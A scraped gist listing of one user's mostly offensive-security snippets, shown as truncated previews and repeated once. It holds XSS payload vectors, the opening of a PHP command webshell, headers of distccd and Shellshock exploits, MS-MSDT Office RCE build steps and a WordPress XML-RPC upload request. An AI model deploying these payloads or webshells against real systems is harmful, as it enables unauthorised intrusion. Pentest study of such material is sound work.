Juan Pablo Perata cxzero

## watcher-executor.cs
using System;
using System.IO;
using System.Text;
using System.Threading;
using System.Diagnostics;

public class FileWatcher
{
    static FileSystemWatcher watcher;
    static Process p;

## watcher-network.cs
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Net.Sockets;

namespace tcp_client_file_write
{
    internal class Program
    {

## ms-msdt.MD

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                cxzero
                / ms-msdt.MD
            
            
              Created
              June 10, 2022 01:30
                — forked from tothi/ms-msdt.MD
            
              
                The MS-MSDT 0-day Office RCE Proof-of-Concept Payload Building Process
              
          
    MS-MSDT 0-day Office RCE

MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).
The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).
Here are the steps to build a Proof-of-Concept docx:

Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.


## xss_vectors.txt
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">

## nmapPorts.sh
#!/bin/bash

# To be used with nmap grepable output (-oG option)
if [ -z $1 ]; then
        echo "Usage: $(basename $0) <grepable-nmap-input-file>"
        exit -1
fi

ports="`cat $1 | grep -oP '\s\K[0-9]+(?=/)'`"
echo $ports | xargs | sed 's/ /,/g'

## distccd_rce_CVE-2004-2687.py
#!/usr/bin/python

# -*- coding: utf-8 -*-

'''
	distccd v1 RCE (CVE-2004-2687)

	This exploit is ported from a public Metasploit exploit code :
		https://www.exploit-db.com/exploits/9915

## command.xml
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
	<methodName>wp.uploadFile</methodName>
	<params>
		<param><value><string>1</string></value></param>
		<param><value><string>username</string></value></param>
		<param><value><string>password</string></value></param>
		<param>
			<value>
				<struct>

## readme.md

      
              1 file
            
          
              0 forks
            
          
              0 comments
            
          
              0 stars
            
          
                cxzero
                / readme.md
            
            
              Last active
              June 1, 2021 18:37
            
              
                Install Ubuntu 20.04 LTS alongside dual boot with Windows 10
              
          
    Recently I have found a little harder to set up a dual boot installation Ubuntu 20.04 LTS / Windows 10 in a laptop.
It involved:

Switch SSD operation mode from RST to AHCI
Prepare usb stick for Ubuntu iso image to load in UEFI mode (BIOS does not support legacy mode)
Shrink Windows 10 partition
Ubuntu 20.04 installation, create encrypted LVM partition
Enjoy the set up

1 - Switch SSD operation mode from RST to AHCI


## easy-simple-php-webshell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {

## exploit.py
#!/bin/python
# Exploit Title:  Shellshock SMTP Exploit
# Date: 10/3/2014
# Exploit Author: fattymcwopr
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/
# Version: 4.2.x < 4.2.48
# Tested on: Debian 7 (postfix smtp server w/procmail)
# CVE : 2014-6271
	using System;
	using System.IO;
	using System.Text;
	using System.Threading;
	using System.Diagnostics;

	public class FileWatcher
	{
	static FileSystemWatcher watcher;
	static Process p;
	using System;
	using System.IO;
	using System.Net;
	using System.Text;
	using System.Net.Sockets;

	namespace tcp_client_file_write
	{
	internal class Program
	{
	%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
	<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
	#!/bin/bash

	# To be used with nmap grepable output (-oG option)
	if [ -z $1 ]; then
	echo "Usage: $(basename $0) <grepable-nmap-input-file>"
	exit -1
	fi

	ports="`cat $1 \| grep -oP '\s\K[0-9]+(?=/)'`"
	echo $ports \| xargs \| sed 's/ /,/g'
	#!/usr/bin/python

	# -- coding: utf-8 --

	'''
	distccd v1 RCE (CVE-2004-2687)

	This exploit is ported from a public Metasploit exploit code :
	https://www.exploit-db.com/exploits/9915
	<?xml version='1.0' encoding='utf-8'?>
	<methodCall>
	<methodName>wp.uploadFile</methodName>
	<params>
	<param><value><string>1</string></value></param>
	<param><value><string>username</string></value></param>
	<param><value><string>password</string></value></param>
	<param>
	<value>
	<struct>
	<html>
	<body>
	<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
	<input type="TEXT" name="cmd" id="cmd" size="80">
	<input type="SUBMIT" value="Execute">
	</form>
	<pre>
	<?php
	if(isset($_GET['cmd']))
	{
	#!/bin/python
	# Exploit Title: Shellshock SMTP Exploit
	# Date: 10/3/2014
	# Exploit Author: fattymcwopr
	# Vendor Homepage: gnu.org
	# Software Link: http://ftp.gnu.org/gnu/bash/
	# Version: 4.2.x < 4.2.48
	# Tested on: Debian 7 (postfix smtp server w/procmail)
	# CVE : 2014-6271